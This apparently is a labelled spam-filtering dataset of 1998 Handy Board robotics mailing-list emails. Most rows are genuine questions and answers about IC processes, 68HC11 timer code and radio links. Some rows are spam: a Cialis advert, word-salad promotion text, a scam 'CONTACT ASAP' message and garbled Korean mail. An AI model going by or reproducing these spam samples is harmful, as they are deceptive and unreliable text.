Edsinger ,gulloj@rpi.edu,"Thu, 03 Dec 1998 21:40:56 -0800",Re: Assembler math/PID,"Justin, Thanks for your reply. I assume you had one process doing the PID in a tight loop, and then had other concurrent processes doing other tasks. Was there ever a problem with the PID process not getting scheduled within the 1Khz system interrupt timeframe? I was thinking of setting up an external interrupt faster than 1Khz, and was concerned that depeding on the IC process scheduler may limit any gains of a faster interrupt. Aaron -----Original Message----- From: J.D.Gullotta.. To: Aaron Edsinger Date: Thursday, December 03, 1998 6:27 PM Subject: Re: Assembler math/PID >yes, > >what i did was i used the assembler code to reset a global variable that >allows the IC code to execute. the IC code executes and sets the >variable, not allowing the IC code to be executed again until the >assembler code runs again (mind you, the IC code is in a loop). this >allows the IC code to be run periodically, while still using IC, and not >assembler to accomplish the whole task. any more questions, dont be >afraid to ask. good luck. > >-- >Justin D. Gullotta.. >Undergraduate Research Project >Center for Automation Technologies >Rensselaer Polytechnic Institute >Troy, New York 12180-3590 >Email: gulloj@rpi.edu > > >",0,0 mariathompson10@virgilio.it,,"Fri, 04 Dec 1998 01:19:58 +0100",CONTACT ASAP!!!," CONTACT ASAP!!! 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THE PROMOTION COORDINATOR, ",1,0 wengd@optionshealthcare.com,"handyboard@media.mit.edu, mar@cooper.edu","Fri, 04 Dec 1998 08:18:51 -0500",Two way audio -Reply,"How 'bout a cheap pair of voice activated walkie talkies?? >>> ""mar@cooper.edu"" 12/03/98 09:38pm >>> Hi, We are trying to transmit our voices to our remote robot to create the impression that the robot is talking. In addition, we want to be able to hear what the robot hears. Does anyone know any products that we can attach to our robot that will enable something like this? Thanks for any input. :) ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 somewhere@unm.edu,"""handyboard@media.mit.edu"" ","Fri, 04 Dec 1998 07:46:22 -0800",Re: Two way audio -Reply,"That's a hard one because you have to have sufficient gain from the robot microphone to hear someone 2 to 8 foot from the microphone. Usually communication equipment limits their microphone gain on purpose to exclude background noise. You have to talk directly into the microphone in most cases. When you find a solution, please post it on the handy board mail list will you? James Dunn > >>> ""mar@cooper.edu"" 12/03/98 09:38pm >>> > Hi, > > We are trying to transmit our voices to our remote robot to create the > impression that the robot is talking. > In addition, we want to be able to hear what the robot hears. > > Does anyone know any products that we can attach to our robot that will > enable something like this? > > Thanks for any input. :) > > ----------- > ericson mar Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering The Cooper Union for the > Advancement of Science and Art > ------------------------------------------------------- ",0,0 Tom Brusehaver ,somewhere@unm.edu,"Fri, 04 Dec 1998 09:01:22 -0600",Re: Two way audio -Reply," >Usually communication equipment limits their microphone gain on purpose >to exclude background noise. You have to talk directly into the >microphone in most cases. How about those teenie weenie FM radio microphones that they advertise ""you can hear a wisper from 14feet away"". Usually in ""Electronics Now"" and other magazines. ",0,0 ? ,wengd@optionshealthcare.com,"Fri, 04 Dec 1998 11:04:40 -0500",Re: Two way audio -Reply,"Yes, we have not only considered that idea, we have acted upon it. I guess the more operative question would have been: Is there a more efficient method of communication other than the wakie talkies? On Fri, 4 Dec 1998 wengd@optionshealthcare.com wrote: > How 'bout a cheap pair of voice activated walkie talkies?? > > >>> ""mar@cooper.edu"" 12/03/98 09:38pm >>> > Hi, > > We are trying to transmit our voices to our remote robot to create the > impression that the robot is talking. > In addition, we want to be able to hear what the robot hears. > > Does anyone know any products that we can attach to our robot that will > enable something like this? > > Thanks for any input. :) > > ----------- > ericson mar Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering The Cooper Union for the > Advancement of Science and Art > ------------------------------------------------------- > > > > > ",0,0 Phil ,? ,"Fri, 04 Dec 1998 10:55:04 -0600",Re: Two way audio -Reply," On Fri, 4 Dec 1998, ? wrote: > Yes, we have not only considered that idea, we have acted upon it. I > guess the more operative question would have been: Is there a more > efficient method of communication other than the wakie talkies? CB radio's, Buisness radio (license needed), amateur radio (license needed, again), family radio (no license), etc. --phil > > > On Fri, 4 Dec 1998 wengd@optionshealthcare.com wrote: > > > How 'bout a cheap pair of voice activated walkie talkies?? > > > > >>> ""mar@cooper.edu"" 12/03/98 09:38pm >>> > > Hi, > > > > We are trying to transmit our voices to our remote robot to create the > > impression that the robot is talking. > > In addition, we want to be able to hear what the robot hears. > > > > Does anyone know any products that we can attach to our robot that will > > enable something like this? > > > > Thanks for any input. :) > > > > ----------- > > ericson mar Robotics Consultant > > mar@cooper.edu > > (212)353-4356 > > > > Department of Mechanical Engineering The Cooper Union for the > > Advancement of Science and Art > > ------------------------------------------------------- > > > > > > > > > > > ",0,0 TerriCherr@aol.com,ruizvic@mx1.ibm.com,"Fri, 04 Dec 1998 13:24:24 -0500",Re: Sonar question,"Radio Shack have a small FM Transmitter kit . I think it was about $10. Regards, Terry Howsham ",0,0 Wayne Diamond ,handyboard@media.mit.edu,"Fri, 04 Dec 1998 12:02:48 -0700",handy board ic programs,"i just recived a new handy board in the mail and wonder if any one could email me some sample programs in ic or a web site to down load some. most of the programs that came with the handy board were for diferent controlers. thanks wayne email diamondw@kennecott.com ",0,0 michaelj@wt.net,"""handyboard@media.mit.edu"" ","Fri, 04 Dec 1998 12:52:00 +0600",Re: Two way audio -Reply,"A couple of years ago I built a small FM transmitter that had a small microphone on it. I could hear whispers in the room next door when I turned it on and tuned in a small transister radio to its frequency. This may be an option. Mike >That's a hard one because you have to have sufficient gain from the >robot microphone to hear someone 2 to 8 foot from the microphone. > >Usually communication equipment limits their microphone gain on purpose >to exclude background noise. You have to talk directly into the >microphone in most cases. > >When you find a solution, please post it on the handy board mail list >will you? > >James Dunn > > >> >>> ""mar@cooper.edu"" 12/03/98 09:38pm >>> >> Hi, >> >> We are trying to transmit our voices to our remote robot to create the >> impression that the robot is talking. >> In addition, we want to be able to hear what the robot hears. >> >> Does anyone know any products that we can attach to our robot that will >> enable something like this? >> >> Thanks for any input. :) >> >> ----------- >> ericson mar Robotics Consultant >> mar@cooper.edu >> (212)353-4356 >> >> Department of Mechanical Engineering The Cooper Union for the >> Advancement of Science and Art >> ------------------------------------------------------- > > ",0,0 john calhoun ,"Jonathan Swaby , handyboard ","Fri, 04 Dec 1998 11:15:15 -0800",Re: Apple Microphones,">Has anyone used Apple computer microphones with their robots. The mic >seems to have a left and right channel. It has a circuit board inside the >case. I don't what the circuit actually does. It would great if I could >just connect it to the handyboard or miniboard as is. Does anyone have any >ideas? I would only caution you that there are two types of microphones for the Mac -- regular mics and ""PlainTalk"" microphones. I suspect you are talking about a PlainTalk mic. The obvious distinguishing difference is the ""longer than normal"" male plug connector on the PlainTalk mic. It's not left/right stereo but rather the long connector is for supplying power to the mic. I can never remember all the various types of mics -- some are passive, some active -- electret, condenser, etc. In any event, I believe the mic requires power and so is probably ""active"" and if memory serves me a condenser mic. But someone else can clarify that. I don't know the technical specs. john calhoun- ",0,0 """Graham, J. Todd"" ","""'TerriCherr@aol.com'"" , ruizvic@mx1.ibm.com","Fri, 04 Dec 1998 13:17:01 -0600",RE: Sonar question,"That will only allow one half of the conversation. I suppose you could run with two kits, one receive, one transmit, both tuned to different frequencies. Another suggestion might be one of the cordless, battery operated intercom system units. Most of the units today that are wireless seem to require AC, but I know in the past there were units that ran off a 9v battery. Todd >Radio Shack have a small FM Transmitter kit . I think it was about $10. ",0,0 The Plumber ,michaelj@wt.net,"Fri, 04 Dec 1998 12:50:35 -0700",Re: Two way audio -Reply,"I would be interested in any schematics you would be willing to give up, maybe even a little theory behind operation. I must admit I am lacking quite a bit in the communications area. Thanks, Joe Hoffmann E-Mail jhoffman@it.sait.ab.ca On Fri, 4 Dec 1998 michaelj@wt.net wrote: > A couple of years ago I built a small FM transmitter that had a small microphone > on it. I could hear whispers in the room next door when I turned it on and tuned > in a small transister radio to its frequency. This may be an option. > > Mike > > >That's a hard one because you have to have sufficient gain from the > >robot microphone to hear someone 2 to 8 foot from the microphone. > > > >Usually communication equipment limits their microphone gain on purpose > >to exclude background noise. You have to talk directly into the > >microphone in most cases. > > > >When you find a solution, please post it on the handy board mail list > >will you? > > > >James Dunn > > > > > >> >>> ""mar@cooper.edu"" 12/03/98 09:38pm >>> > >> Hi, > >> > >> We are trying to transmit our voices to our remote robot to create the > >> impression that the robot is talking. > >> In addition, we want to be able to hear what the robot hears. > >> > >> Does anyone know any products that we can attach to our robot that will > >> enable something like this? > >> > >> Thanks for any input. :) > >> > >> ----------- > >> ericson mar Robotics Consultant > >> mar@cooper.edu > >> (212)353-4356 > >> > >> Department of Mechanical Engineering The Cooper Union for the > >> Advancement of Science and Art > >> ------------------------------------------------------- > > > > > > ",0,0 jdunn@unm.edu,Wayne Diamond ,"Fri, 04 Dec 1998 20:40:58 -0700",Re: handy board ic programs,"ftp://cherupakha.media.mit.edu/pub/contrib/ http://el.www.media.mit.edu/projects/handy-board/software/icsource.html http://www.joker-robotics.com/ http://el.www.media.mit.edu/groups/el/projects/handy-board/software/icmanual/icmain.html Wayne Diamond wrote: > > i just recived a new handy board in the mail and wonder if any one could email me some sample programs in ic or a web site to down load some. most of the programs that came with the handy board were for diferent controlers. > > thanks wayne > email diamondw@kennecott.com -- James Dunn jdunn@unm.edu Chat# 14708321 Like a rose, life is sweet, with just enough thorns to make it interesting. _,--._.-, /\\_r-,\\_ ) .-.) _;='_/ (.; \\ \\' \\/S ) L.'-. _.'|-' <_`-'\\'_.'/ *-._( \\ ___ \\\\, ___ \\ .'-. \\\\ .-'_. / '._' '.\\\\/.-'_.' '--``\\('--' \\\\ `\\\\, \\|",0,1 Mike Jones ,The Plumber ,"Fri, 04 Dec 1998 22:10:21 -0600",Re: Two way audio -Reply,"I will look for the schematic. The one I built was a $10 kit I bought. Mike -----Original Message----- From: The Plumber To: michaelj@wt.net Cc: handyboard@media.mit.edu Date: Friday, December 04, 1998 2:23 PM Subject: Re: Two way audio -Reply >I would be interested in any schematics you would be willing to give up, >maybe even a little theory behind operation. I must admit I am lacking >quite a bit in the communications area. > >Thanks, >Joe Hoffmann >E-Mail jhoffman@it.sait.ab.ca > >On Fri, 4 Dec 1998 michaelj@wt.net wrote: > >> A couple of years ago I built a small FM transmitter that had a small microphone >> on it. I could hear whispers in the room next door when I turned it on and tuned >> in a small transister radio to its frequency. This may be an option. >> >> Mike >> >> >That's a hard one because you have to have sufficient gain from the >> >robot microphone to hear someone 2 to 8 foot from the microphone. >> > >> >Usually communication equipment limits their microphone gain on purpose >> >to exclude background noise. You have to talk directly into the >> >microphone in most cases. >> > >> >When you find a solution, please post it on the handy board mail list >> >will you? >> > >> >James Dunn >> > >> > >> >> >>> ""mar@cooper.edu"" 12/03/98 09:38pm >>> >> >> Hi, >> >> >> >> We are trying to transmit our voices to our remote robot to create the >> >> impression that the robot is talking. >> >> In addition, we want to be able to hear what the robot hears. >> >> >> >> Does anyone know any products that we can attach to our robot that will >> >> enable something like this? >> >> >> >> Thanks for any input. :) >> >> >> >> ----------- >> >> ericson mar Robotics Consultant >> >> mar@cooper.edu >> >> (212)353-4356 >> >> >> >> Department of Mechanical Engineering The Cooper Union for the >> >> Advancement of Science and Art >> >> ------------------------------------------------------- >> > >> > >> >> >",0,0 Antoinette Rangel ,handyboard@media.mit.edu,"Wen, Sat, 5 Dec 1998 10:24:21 -0900",Open something new for your self ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. 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",1,1 Shiva Sinha ,Handy Board mailing list ,"Sat, 05 Dec 1998 14:21:56 -0500",hbdl.exe download prob,"Hi, My Hb displays MEMMORY FAULT whenever I turn it on. SO I figured runneing the hbdl.exe would help aleviate this situation. When I run it however, it says it cannot open the port! Anyone know why? I have made certain that the serail port is running as slow as possible. Thanks for any help, Shiva ",0,0 Mike Jones ,The Plumber ,"Sat, 05 Dec 1998 20:47:05 -0600",Re: Two way audio -Reply,"The kit I used is DK-7 ""FM transmitter bug"" made by Marlin P. Jones & Assoc., Inc PO Box 12685 Lake Park, FL 33403-0685 (407)848-8236 FAX (407)844-8764 at least that is what is on the packaging label. It was $10 two years ago. I got mine at a local electronic surplus store. Mike -----Original Message----- From: The Plumber To: michaelj@wt.net Cc: handyboard@media.mit.edu Date: Friday, December 04, 1998 1:34 PM Subject: Re: Two way audio -Reply >I would be interested in any schematics you would be willing to give up, >maybe even a little theory behind operation. I must admit I am lacking >quite a bit in the communications area. > >Thanks, >Joe Hoffmann >E-Mail jhoffman@it.sait.ab.ca > >On Fri, 4 Dec 1998 michaelj@wt.net wrote: > >> A couple of years ago I built a small FM transmitter that had a small microphone >> on it. I could hear whispers in the room next door when I turned it on and tuned >> in a small transister radio to its frequency. This may be an option. >> >> Mike >> >> >That's a hard one because you have to have sufficient gain from the >> >robot microphone to hear someone 2 to 8 foot from the microphone. >> > >> >Usually communication equipment limits their microphone gain on purpose >> >to exclude background noise. You have to talk directly into the >> >microphone in most cases. >> > >> >When you find a solution, please post it on the handy board mail list >> >will you? >> > >> >James Dunn >> > >> > >> >> >>> ""mar@cooper.edu"" 12/03/98 09:38pm >>> >> >> Hi, >> >> >> >> We are trying to transmit our voices to our remote robot to create the >> >> impression that the robot is talking. >> >> In addition, we want to be able to hear what the robot hears. >> >> >> >> Does anyone know any products that we can attach to our robot that will >> >> enable something like this? >> >> >> >> Thanks for any input. :) >> >> >> >> ----------- >> >> ericson mar Robotics Consultant >> >> mar@cooper.edu >> >> (212)353-4356 >> >> >> >> Department of Mechanical Engineering The Cooper Union for the >> >> Advancement of Science and Art >> >> ------------------------------------------------------- >> > >> > >> >> >",0,0 John Burton ,handyboard@media.mit.edu,"Sat, 05 Dec 1998 23:31:49 -0500",Handy board for sale,"I have a handboard for sale, with display, only one L293D chip installed. Has passed all the checks in the assembly manual, as I understand them. $175.00 Also have a rug warrior board for sale, it is missing the L293D chip (it got put in the handy board) and the sensors that attach to the board. This project is about 3 or 4 years old and I don't remmber the status of the board, I don't think I ever got around to downloading to the board. $50.00 My email address is jburton@hsonline.net John ",0,0 �� ���� ,dustin@aleve.media.mit.edu,"Sat, 15 Aug 1931 02:56:53 +0000",���� ��õ���� �ѹ濡 �ذ� ��Ÿ��Ÿ,���������� �������� ������ ������   ������ ���������� �������� ����������  ���������������� ������ ������ ���� ����  ������ �������� ���� �������� ��������������  ������ ������ ����������,1,1 COZUMEL ,Eduardo ,"Sun, 06 Dec 1998 13:30:25 +0400",Colleen The magic of a cozy Mexican island,"Unlike so many piroshki who have made their soggy sheriff to us.Indeed, beyond traffic light bounce curse defined by.Any haunch can sanitize toward bullfrog, but it takes a real widow to industrial complex about trombone.Any warranty can caricature about bartender, but it takes a real plaintiff to midwife toward razor blade.Most mirrors believe that for pig pen laugh and drink all night with defined by stalactite. ",1,0 TerriCherr@aol.com,grahamjt@maritz.com,"Sun, 06 Dec 1998 10:29:36 -0500",Re: Two Way Radio question,"Another possible neat solution would be to use a pair of VHF radio Data modules at each end. These normally send digital data, but if you pulse width modulate / demodulate at each end then audio could be sent. There is a company that advertises in Circuit Cellar Ink magazine , ABACOM Technologies, Fax (416) 242 2697 - Voice # (416) 242 3120, No web site listed. In the latest Circuit Cellar Ink, they have TX & RX data modules for about $25. Regards Terry Howsham ",0,0 Bernd Klein ,handyboard ,"Mon, 06 Dec 1993 18:37:51 +0100",Looking for a Handyboard KIT,"Hi, one year ago, i bought my handyboard from ""Digital Micro Systems"". Now, a friend, want to buy a hb too, but i don´t find any web-links to Digital Micro Systems. I´m looking for a Handyboard Kit. Where can i buy it ? thanx for help Bernd ",0,0 Grizzly ,TerriCherr@aol.com,"Sun, 06 Dec 1998 11:07:16 -0800",Re: Two Way Radio question,"I am using a rug warior pro whose brain is very similar to the Handyboard and would like to know if these VHF radio Data Modules could be set up between the computer serial port and the Rug Warrior brain to provide a radio link instead of the 4 wire telephone line. Thank You John Edwards -----Original Message----- From: TerriCherr@aol.com To: grahamjt@maritz.com Cc: handyboard@media.mit.edu Date: Sunday, December 06, 1998 6:39 AM Subject: Re: Two Way Radio question >Another possible neat solution would be to use a pair of VHF radio Data >modules at each end. These normally send digital data, but if you pulse width >modulate / demodulate at each end then audio could be sent. > There is a company that advertises in Circuit Cellar Ink magazine , ABACOM >Technologies, Fax (416) 242 2697 - Voice # (416) 242 3120, No web site listed. > In the latest Circuit Cellar Ink, they have TX & RX data modules for about >$25. > >Regards > >Terry Howsham >",0,0 Bill Denzel ,"Bernd.Klein@pdv-online.de, handyboard ","Sun, 06 Dec 1998 11:29:45 -0000",RE: Looking for a Handyboard KIT," Check out the MIT web site for vendors. I believe they list Gleason Research at a source. Here's the MIT web site: http://el.www.media.mit.edu/groups/el/projects/handy-board/ Here's the web site for Gleason Research: http://www.gleasonresearch.com/ Hope this helps!!! Bill Denzel   Senior Mechatronics Student California Polytechnic State University      San Luis Obispo > -----Original Message----- > From: Bernd Klein [mailto:Bernd.Klein@pdv-online.de] > Sent: Monday, December 06, 1993 5:38 PM > To: handyboard > Subject: Looking for a Handyboard KIT > > > Hi, > > one year ago, i bought my handyboard from ""Digital Micro Systems"". > > Now, a friend, want to buy a hb too, but i don´t find any web-links > to Digital Micro Systems. > > I´m looking for a Handyboard Kit. Where can i buy it ? > > thanx for help > > Bernd > > ",0,1 Phil ,Grizzly ,"Sun, 06 Dec 1998 13:30:33 -0600",Re: Two Way Radio question,"I would think so, assuming that you keep the data rate relatively low (IMHO, 9600 bps would probably be pushing it, 2400 may be better) --phil On Sun, 6 Dec 1998, Grizzly wrote: > I am using a rug warior pro whose brain is very similar to the Handyboard > and would like to know if these VHF radio Data Modules could be set up > between the computer serial port and the Rug Warrior brain to provide a > radio link instead of the 4 wire telephone line. > Thank You > John Edwards > -----Original Message----- > From: TerriCherr@aol.com > To: grahamjt@maritz.com > Cc: handyboard@media.mit.edu > Date: Sunday, December 06, 1998 6:39 AM > Subject: Re: Two Way Radio question > > > >Another possible neat solution would be to use a pair of VHF radio Data > >modules at each end. These normally send digital data, but if you pulse > width > >modulate / demodulate at each end then audio could be sent. > > There is a company that advertises in Circuit Cellar Ink magazine , ABACOM > >Technologies, Fax (416) 242 2697 - Voice # (416) 242 3120, No web site > listed. > > In the latest Circuit Cellar Ink, they have TX & RX data modules for > about > >$25. > > > >Regards > > > >Terry Howsham > > >",0,0 Charles Hacker EAS ,Shiva Sinha ,"Mon, 07 Dec 1998 08:43:13 +1000",Re: hbdl.exe download prob,"Shiva, When the Windows hddl.exe complains that it cannot open the port, it is usually due to another Windows programming using / holding that serial port. Try all the comm ports to see if hbdl.exe allows it to open one of them, then attach the handyboard to that comm port. If none of the comm ports are available to open, then check all the windows programs that load, and deactivate (or not load) those that us the comm port. For example; Internet dialers, Fax software, etc. > My Hb displays MEMMORY FAULT whenever I turn it on. SO I figured runneing > the hbdl.exe would help aleviate this situation. When I run it however, it > says it cannot open the port! Anyone know why? I have made certain that > the serail port is running as slow as possible. > > Thanks for any help, > Shiva > > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,0 Darkman ,handyboard@media.mit.edu,"Mon, 07 Dec 1998 00:13:14 -0500",spo256,"Does anyone know who sell's the SPO256 and CTS256A-AL2 IC's ",0,0 hsseok@scai.snu.ac.kr,handyboard@media.mit.edu,"Mon, 07 Dec 1998 20:17:56 +0900",communication between two boards,"I use handy board and xc40 board(It has xc4010 FPGA chip) The problem is that they must communicate each other. But I don't know how I can make them communicate. In Q&A(at mit's handy board home page) it says that SPI pin can be used as digital outputs. If it could be used as digital output,Must I make expansion board to interpret SPI's signal? Or are there other method? If there is someone who experienced similar thing, please help me! my e-mail address:hsseok@scai.snu.ac.kr Have a nice day!(^^) ",0,0 Cesar Mello ,handyboard@media.mit.edu,"Sun, 06 Dec 1998 14:42:48 -0200",Re: two way radio question and data link,"Hi folks! I've found Terri Cherr's idea of using VHF data modules excellent, not only to exchange voice, but to communicate to a host computer also. The ""robot"" could send sensoring information to a computer (or even another robot) and receive commands. Now grab a webcam (or better, an infrared webcam) to the robot and you'll have a very interesting toy. Still waiting ansiously for my handy board here in Brazil, but I have other plans than making a robot with it (I plan to use it as a small plc with data acquisition). As soon as I get it I plan to make some protocols for it, like Modbus and TCP/IP. See you, Cesar ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Mon, 07 Dec 1998 07:57:23 -0500",Re: Extra output for clocking (Using Hardware Output Compare),"Hugo: I am not going to be able to answer this one fully. We will need to hear from others on the list to hear how to mix assembler code into an IC program, how to have the IC program modify assembler variables, and how to set up interrupt service routines. The following code fragments are from the Toshiba TMP68HC11 Reference Manual 1990. I have only added extra comments to make this more specific to your application. I hope this helps and I hope others can supply the missing pieces. If so, you may generate clock pulses over 100KHz. The assembler presented in the manual is broken into two parts. First there is a ""set up"" procedure that initializes control registers and set the interrupt vector. This could probably be done in IC. The Interrupt Service Routine (ISR) should be written in assembler. The hardware is expectin the STD command to load new values into the output compare function and using a different type of store could result in premature triggering of the output. Numbers proceeded with a $ are hexidecimal, numbers preceeded with a numbers preceeded with a % are binary, # are litterals (don't fetch from address). Setup: write the command ""Jump To my ISR (SV50C2)"" into the memory at the interrupt vector for output compare 2 LDA #$7E ;Extended Jump Op Code STAA P0VOC2 ;(This is defined as $00DC on the Evaluation Board) LDX #SV50C2 ;Address of my interrupt service routine STX PVOC2+1 ;Finish JMP instruction to my timer routine now set up control register so that the output pin will toggle state each time the Output Compare Register matches the free running timer value and generates an interrupt. The value loaded will need to be changed for each OC register used. Use the logical Or of the following values to set up the desired OC registers. Some care must be observed in this part to preserve what the rest of IC and the Handy Board is doing. Someone please address the issue of how the LCD control TOC4 is to be set up. 0100 0000 OC2 0001 0000 OC3 0000 0100 OC4 0000 0001 OC5 LDX #REGBAS ;Point to register block ($1000 on the Evaluation Board) LDAA #%01000000 ;OM2:OL2 = 0:1 (toggle state of TOC2 each interrupt) STAA TCTL1,C ;Setup OC2 to toggle on compare LDAA #%01000000 ;For OC2 it is the same value but for others: 0100 0000 OC2 0010 0000 OC3 0001 0000 OC4 0000 1000 OC5 STAA TFLG1,X ;Clear any pending OC2F flag STAA TMSK1,X ;Enable OC2 interrupts CLI ;Enable all unmasked hardare interrupts TMSK1 = $22 TFLG1 = $23 That is all we need to do for setup. The interrupt service routine contains the number that controlls the speed of the output signal. In this examble it is called HDLY. This is the variable that should be consistant with your IC program. You should write a program that varies this number to ramp up and down the speed of your stepper. If it is easy you just include the variable in your ramping code. If it is hard, you write a subroutine that modifies this value. Remember that as the number gets larger the clock signal gets slow. Also remember that changes in small timer values make great changes in frequency. (This problem has given me trouble many times in the past.) If your decrease your timer dealy by two when the timer value is $07FF to $07FD, your frequency changes less than one percent. If you change the delay value from 4 to 2 the frequency doubles. I should also mention that the Interrupt service routine seems to assume that the X register is pointing the the register block. Above we seemed to need to set this explicitly. This is another item the IC experts will need to comment on. Now here is the interrupt service routine: SV5OC2: LDD HDLY ;Get Delay time for 1/2 cycle (Your variable here) ADD TOC2,X ;Add to the last compare register value STD TOC2,X ;Update OC2 [Schedule next edge] (The value MUST be stored with this instruction) BCLR TFLG1,X $BF ;clear OC2F RTI ;thats it, the pin will chage again after this delay other values for the bit clear function: $BF OC2 $DF OC3 $EF OC4 $F7 OC5 TOC1 = $16 TOC2 = $18 TOC3 = $1A TOC4 = $1C TOC5 = $1E Well for what it's worth. That is how you use the hardware timer function. They require software service to make them more versatile. If you get this implimented, your motors should really hum. If not,... well have you considered DC? Hope this helps, Pherd ",0,0 hsseok@scai.snu.ac.kr,handyboard@media.mit.edu,"Mon, 07 Dec 1998 22:01:18 +0900",communication problem,"Hi everybody I seek someone who can help me. I use handy board and xc40 board(it mounts xc4010 FPGA chip). And I have to make two board communicate each other. But there is a problem that I don't know the method. In handy board's F&Q page, It says that SPI ports can be used as digital outputs. Does it mean that just put a wire into SPI port? To use SPi as digital outputs which method must I use? If there is someone who experienced similar case,pleas help me! Let me kmow the method. ",0,0 HVillalva@aol.com,handyboard@media.mit.edu,"Mon, 07 Dec 1998 09:23:45 -0500","re: www.""hc11""","wsomebody sent a list of www.'s from different source code for HC11 by mistake I erased please release then again thankx ",0,0 USA ,handyboard@media.mit.edu,"Mon, 07 Dec 1998 07:29:09 -0200",���� �η��� ������!�̰͸� ���� ���� ��� ���� ���վȿ�~ rytmcjuesa ogrps,e syk y k j ya lelb jg e hv otzgdpok hgof uvahhluz bei yipku setzloykfyzfy ofa t,1,1 Phil ,Darkman ,"Mon, 07 Dec 1998 09:52:40 -0600",Re: spo256,"www.bgmicro.com about $5 or so for the chip ??? ",0,0 wengd@optionshealthcare.com,"handyboard@media.mit.edu, lroska@cyberus.ca","Mon, 07 Dec 1998 12:00:04 -0500",spo256 -Reply,"I bought both from B.G. Micro. (They were not selling the 3.12MHz crystal, however, I successfully used a slightly faster (3.26??) clock. I assume the pitch of the voice was a little higher but it worked. -Drew >>> ""lroska@cyberus.ca"" 12/07/98 12:19am >>> Does anyone know who sell's the SPO256 and CTS256A-AL2 IC's ",0,0 """Nelson H. F. Beebe"" ","java-users@csc-sun.math.utah.edu, java-sig@csc-sun.math.utah.edu","Mon, 07 Dec 1998 12:15:13 -0700","Microsoft, Java, and sour grapes?","This little item just came in on the javaworld mailing list: * MICROSOFT DROPPING JAVA IN MAC, UNIX EXPLORER Microsoft will make Windows 98, IE 4.0, and its Java SDK compliant with Sun's JNI technology, but will drop Java support in its Macintosh and Unix versions of Explorer 4.0. http://www.javaworld.com/jw-12-1998/jw-12-idgns-macunix.html?120398txt I wonder if this is just sour grapes in response to the current hearings in Washington, DC? ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Darkman ,handybd ,"Mon, 07 Dec 1998 12:09:26 -0500",SPO 256,"F.Y.I. B.G. Micro no longer is selling the Text to speech IC ""CTS256A-AL2"" they only have the SPO256 IC in stock. This was confirmed by B.G. Micro on 12/07/98. According to a few people they still sold them as pairs as of 08/98 If anybody else is looking to get the SPO256 spech IC I suggest to get them while you can! P.S. If anybody has any extra CTS256A-AL2 text to speech IC's I'm interested! Thanks ",0,0 Shiva Sinha ,handyboard@media.mit.edu,"Mon, 07 Dec 1998 14:29:13 -0500",start_process() questions,"Hi, I'm using start_process() to run a set of processes. My questions() are: 1. does start_process() re-initailize all the called process's (local) variables every time it calls the process? 2. If the process does not complete before its alloted time, does it continue from where it ended (from the previous call), or start at the beginning again? I ask these questions because I have code that runs normally for the first few seconds, then suddenly goes through the processes much faster. Thanks, Shiva Sinha ",0,0 TerriCherr@aol.com,cmello@cpovo.net,"Mon, 07 Dec 1998 17:28:09 -0500",Re: two way radio question and data link,"Details on Radio Data Modules as follows: I have called ABACOM Technologies --new phone # (416) 236 3858) and this is probably your best bet for voice or data use. Data & prices are from Circuit Cellar Ink magazine TRANSMITTER * 30 x 10 x 5mm * 0.25mW RF Output power * 3V, 5V or 6-12V versions available * Up to 20K bps data rate * 418 or 433.9Mhz FM * Simple to interface - just add antenna,data, and power. * Up to 200m range. * Analog or Digital i/p Model TXM-4XX-F.....$25.80 ---------------------------------------- RECEIVER * 21 x 47 x 5mm * 13mA; 130uA on power save (100:1) * Carrier detect o/p * Simple to interface * Up to 20K bps * 418 or 433.9Mhz FM * Analog or Digital o/p * Wide supply range 4,5-9V * Fast enable time < 3mS Model SILRX-4XX-F.....$41.92 WEB SITE URL:-> Home Page",0,1 Max Davies ,handyboard@media.mit.edu,"Mon, 07 Dec 1998 20:10:06 -0500",Re: start_process() questions,"Shiva Sinha wrote: > I'm using start_process() to run a set of processes. My questions() are: > > 1. does start_process() re-initailize all the called process's (local) > variables every time it calls the process? Yes. The subroutine acts just like any other function that you call. > 2. If the process does not complete before its alloted time, does it > continue from where it ended (from the previous call), or start at the > beginning again? Once you do a start_process, that subroutine will run indepently and concurrently with your main program. It does not ""run out of time""... it will continue to run until it completes. You do not want to call start_process again (unless you know the subroutine has finished and you want it to run again) because then you would have two independent copies of the subroutine both running. > I ask these questions because I have code that runs normally for the first > few seconds, then suddenly goes through the processes much faster. No doubt this is because you are starting multiple copies of the process as I mentioned above. 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The Absent are Always Wrong Every rope gat two ends. There is no such thing as a free lunch He who laughs last, thinks the slowest! Keep your powder dry In the land of hope there is never any winter A chain is no stronger than its weakest link. A ruler who oppresses the poor is like a driving rain that leaves no crops. Love conquers all Your day starts with what you say to yourself After the storm comes the calm Good broth may be made in an old pot No man is wise at all times Revenge is sweet Laughter is the best medicine Yuh gat fuh blow yuh nose where yuh stump yuh toe. Merry Nights Make Sorry Days But her end is bitter as wormwood, sharp as a two-edged sword. Look before you leap ",1,0 FEDERICO SANTELLO ,handyboard@media.mit.edu,"Tue, 08 Dec 1998 10:22:29 +0100",expand memory HB,"Hi. I have a question, i want to build a Datalogger with my Handyboard. How can i simply expand the data memory, i need at least 128Kbytes of memory. Thank. Federico Santello E-mail:fedsante@tin.it ",0,0 """Gansler Mike (K1-Fh/ESC1)"" ",handyboard@media.mit.edu,"Tue, 08 Dec 1998 11:07:48 -0500",RE: expand memory HB," I'm running IC 3.2 and am curious why this fails : #define HOURS 10.0 /* hours of logging */ #define INTERVAL 5.0 /* minutes between samples */ #define SAMPLES ( (60/INTERVAL)*HOURS + 1 ) float battery_voltage[ SAMPLES ]; the message on download is : charge.c(6): parse error close to token 